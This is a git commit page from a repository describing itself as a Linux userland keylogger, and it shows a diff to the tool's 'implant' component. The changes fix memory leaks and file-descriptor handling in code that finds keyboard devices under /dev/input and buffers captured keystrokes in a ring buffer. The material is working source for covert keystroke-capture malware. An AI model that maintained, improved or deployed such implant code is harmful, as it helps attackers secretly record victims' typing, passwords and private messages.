mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 4baf797da538858d9af47770189abf8a42325b42
parent 840ce0120c1d79f161afa21d7388e2aa2e709ac8
Author: djnn <[email protected]>
Date: Sun, 18 Jan 2026 17:16:51 +0900

fix(implant): mem-leaks + closing FDs on error

Diffstat:
Mmazepa-implant/includes/implant.h | 10+++++-----
Mmazepa-implant/sources/kbd.c | 13+++++++++++--
Mmazepa-implant/sources/ringbuf.c | 9++++++++-
Mmazepa-implant/sources/utils.c | 7+++++--

4 files changed, 29 insertions(+), 10 deletions(-)

diff --git a/mazepa-implant/includes/implant.h b/mazepa-implant/includes/implant.h
@@ -86,12 +86,12 @@ typedef struct implant_s {
 #include <syslog.h>
 
 #ifndef DEBUG_LOG
-#define DEBUG_LOG(s, ...)                                       \
-    do {                                                        \
-        char data[512] = {0};                                   \
+#define DEBUG_LOG(s, ...)                                           \
+    do {                                                            \
+        char data[512] = {0};                                       \
         if (0 > snprintf(data, sizeof(data) - 1, s, ##__VA_ARGS__)) \
-            _exit(1);                                           \
-        syslog(LOG_NOTICE, data);                               \
+            _exit(1);                                               \
+        syslog(LOG_NOTICE, data);                                   \
     } while (0)
 #endif
 
diff --git a/mazepa-implant/sources/kbd.c b/mazepa-implant/sources/kbd.c
@@ -60,12 +60,20 @@ uint8_t fetch_available_keyboards(implant_t *instance) {
     }
 
     possible_paths = scandir(dev_input_by_path, &char_devices, &is_kbd, &alphasort);
-    if (-1 == possible_paths || 0 > chdir(dev_input_by_path)) {
-
+    if (-1 == possible_paths) {
 #ifdef DEBUG
         DEBUG_LOG("could not find possible keyboard paths\n");
 #endif
+        return ERROR;
+    }
 
+    if (0 > chdir(dev_input_by_path)) {
+#ifdef DEBUG
+        DEBUG_LOG("could not chdir to %s\n", dev_input_by_path);
+#endif
+        for (int i = 0; i < possible_paths; i++)
+            free(char_devices[i]);
+        free(char_devices);
         return ERROR;
     }
 
@@ -109,6 +117,7 @@ uint8_t fetch_available_keyboards(implant_t *instance) {
             DEBUG_LOG("[!] strncpy: kbd->name could not be copied\n");
 #endif
 
+            close(kbd->fd);
             free(kbd);
             continue;
         }
diff --git a/mazepa-implant/sources/ringbuf.c b/mazepa-implant/sources/ringbuf.c
@@ -3,6 +3,8 @@
 #include <string.h>
 
 void ringbuf_init(ringbuf_t *rb) {
+    if (!rb)
+        return;
     memset(rb->data, 0, RINGBUF_SIZE);
     rb->head = 0;
     rb->tail = 0;
@@ -11,7 +13,7 @@ void ringbuf_init(ringbuf_t *rb) {
 
 uint8_t
 ringbuf_push(ringbuf_t *rb, uint8_t byte) {
-    if (rb->count >= RINGBUF_SIZE)
+    if (!rb || rb->count >= RINGBUF_SIZE)
         return ERROR;
 
     rb->data[rb->head] = byte;
@@ -24,6 +26,9 @@ size_t
 ringbuf_read(ringbuf_t *rb, uint8_t *dst, size_t len) {
     size_t bytes_read = 0;
 
+    if (!rb || !dst)
+        return 0;
+
     while (bytes_read < len && rb->count > 0) {
         dst[bytes_read] = rb->data[rb->tail];
         rb->tail = (rb->tail + 1) % RINGBUF_SIZE;
@@ -34,5 +39,7 @@ ringbuf_read(ringbuf_t *rb, uint8_t *dst, size_t len) {
 }
 
 int ringbuf_should_flush(ringbuf_t *rb) {
+    if (!rb)
+        return 0;
     return rb->count >= RINGBUF_FLUSH_THRESHOLD;
 }
diff --git a/mazepa-implant/sources/utils.c b/mazepa-implant/sources/utils.c
@@ -101,6 +101,7 @@ int8_t file_get_contents(int8_t const *path, int8_t **buffer) {
 #ifdef DEBUG
         DEBUG_LOG("[%s] read: %s", CLIENT_ID, strerror(errno));
 #endif
+        close(fd);
         if (NULL != buffer) {
             free(*buffer);
         }
@@ -152,6 +153,8 @@ array_from_string(const int8_t *str, int8_t separator) {
         return NULL;
 
     res = malloc(sizeof(int8_t *) * (get_nb_rows(str, separator) + 1));
+    if (!res)
+        return NULL;
     for (; i < get_nb_rows(str, separator); i++) {
         malloc_size = get_nb_cols(&str[index_str], 0, separator);
 
@@ -206,7 +209,7 @@ int8_t *remove_repeating_whitespaces(int8_t *s) {
 }
 
 int8_t ascii_to_hex(char input[STRING_BUFFER_SIZE / 2], char output[STRING_BUFFER_SIZE]) {
-    int8_t ctr = -1;
+    int ctr = -1;
 
     bzero(output, STRING_BUFFER_SIZE);
     if (!input)
@@ -220,7 +223,7 @@ int8_t ascii_to_hex(char input[STRING_BUFFER_SIZE / 2], char output[STRING_BUFFE
 }
 
 int8_t hex_to_ascii(char input[STRING_BUFFER_SIZE], char output[STRING_BUFFER_SIZE]) {
-    int8_t ctr = -1;
+    int ctr = -1;
 
     bzero(output, STRING_BUFFER_SIZE);
     if (!input)